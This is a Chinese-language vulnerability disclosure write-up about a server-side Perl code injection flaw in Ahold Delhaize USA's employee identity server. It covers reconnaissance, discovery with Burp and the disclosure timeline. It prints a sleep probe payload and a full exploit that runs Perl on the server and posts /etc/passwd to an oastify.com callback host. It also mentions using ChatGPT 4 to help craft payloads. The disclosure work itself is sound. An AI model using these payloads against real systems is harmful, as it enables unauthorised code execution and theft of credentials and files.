Ahold Delhaize USA身份管理服务器远程代码执行漏洞分析

本文详细分析了Ahold Delhaize USA身份管理服务器存在的严重安全漏洞。研究人员发现该服务器存在服务器端模板注入漏洞,导致攻击者无需认证即可执行任意代码,并成功窃取系统敏感文件。该漏洞可能已存在长达18年之久,影响了大量员工的登录凭证安全。

背景

Ahold Delhaize自称是全球最大的食品零售集团之一。该公司每周服务6000万客户,拥有150年历史,员工数量超过41.4万人。他们声称是超市和电子商务领域的领导者,并在2020年因支持网络安全透明度而获奖,鼓励人们分享安全见解。

作为日常使用的公司,Ahold Delhaize成为了理想的研究目标,特别是他们拥有Bol.com和Albert Heijn等品牌。此外,他们拥有负责任披露政策,使得研究人员可以安全地进行研究并在问题修复后负责任地披露。

讨论

与往常不同,本文将讨论部分放在开头。这个CVSS 10分的严重漏洞在报告后超过3.5年仍未修复,作者强烈怀疑该漏洞自2005年就已存在。这使员工凭证面临泄露风险,考虑到人们经常重复使用密码,应该告知他们这一潜在泄露风险。

该漏洞于2020年4月23日发现,同日得到Ahold安全团队确认。作者错误地认为确认后会立即修复,这是一个重要教训:一个月后务必自行检查修复情况,并通过邮件跟踪所有报告的漏洞。

2023年11月2日(3.5年后),作者收到漏洞已修复的邮件。但令人惊讶的是,11月9日发现漏洞仍然存在。这次作者完整利用了该漏洞,作为概念验证从服务器窃取了/etc/passwd文件。

由于任何人都可以在服务器上执行任意代码,且无需身份验证、易于发现,该服务器应被视为至少3.5年(甚至18年)内已完全沦陷。这个易受攻击的服务器作为中央身份提供商,允许用户登录和重置密码,支持不同的Ahold公司。

侦察

在攻击公司时,我们总是寻找最有趣和最薄弱的资产。对于Ahold Delhaize这样规模的公司,建立适当的身份管理系统是一大挑战。他们不断收购公司,可能需要与旧有遗留系统协作。

通过Google搜索发现,https://ws1.aholdusa.com/ 用于美国员工登录。网页设计具有90年代风格,这通常意味着遗留代码和较高的安全问题概率。

进一步调查显示该服务器别名为ldap-ws-vip.aholdusa.com。LDAP是用于访问和维护分布式目录信息服务的协议,是许多组织IT基础设施的核心部分。

使用waybackurls工具获取archive.org索引的所有历史URL,过滤包含cgi-bin的结果(90年代常用),发现了.pl扩展名的Perl脚本端点。页面显示最后修改时间为2005年12月15日。

发现服务器端模板注入漏洞

使用Burp Browser打开页面并捕获流量。提交表单后,寻找能够改变响应输出的参数。使用Burp Intruder添加模拟参数,设置payload列表为表单字段名。

发现参数值在源代码中反射,存在反射型XSS。通过排序响应长度发现Version参数异常,能够将payload反射为HTML。

但更重要的是检查服务器端模板注入漏洞。由于端点运行Perl,专门扫描Perl代码注入。配置Burp Active Scanner仅检查Perl代码注入漏洞。

等待扫描完成后,发现Burp成功识别Perl代码注入漏洞!注入payload ${sleep(lc(20))} 使服务器睡眠20秒。

漏洞利用

为了证明漏洞影响,作者花费2小时构造泄露/etc/passwd文件的payload:

1
version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> [file %3d> [\"/etc/passwd\"]]);\'')}

该payload使用Perl的LWP::UserAgent模块向攻击者控制的服务器发送POST请求,传输/etc/passwd文件内容。虽然请求在客户端显示错误,但代码在服务器端成功执行。

作者还演示了使用ChatGPT 4辅助生成payload的过程,包括解析域名验证代码执行和生成文件泄露payload。

额外payload示例:

  • 获取当前Linux用户(’nobody’)
  • 显示/etc/目录内容

结论

我们证明了可以完全攻陷ws1.aholdusa.com服务器,这是一个身份管理系统/LDAP服务器。漏洞可能自2005年12月15日就已存在。由于我们展示了完整的远程代码执行能力,使用该服务器的所有用户/员工/客户/供应商数据都应视为已泄露。

时间线

  • 2020年4月23日:向Ahold安全团队报告漏洞
  • 2020年4月23日:Ahold确认漏洞,承诺保持联系
  • 2023年11月2日:Ahold请求确认漏洞修复
  • 2023年11月9日:确认漏洞仍存在,创建完整RCE payload
  • 2023年11月13日:获得300欧元奖励
  • 2023年11月15日:Ahold声称已修复,但实际仅对GET请求返回404,POST请求仍可利用
  • 2023年11月20日:Ahold通知漏洞已解决
  • 2023年12月14日:披露完整报告
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计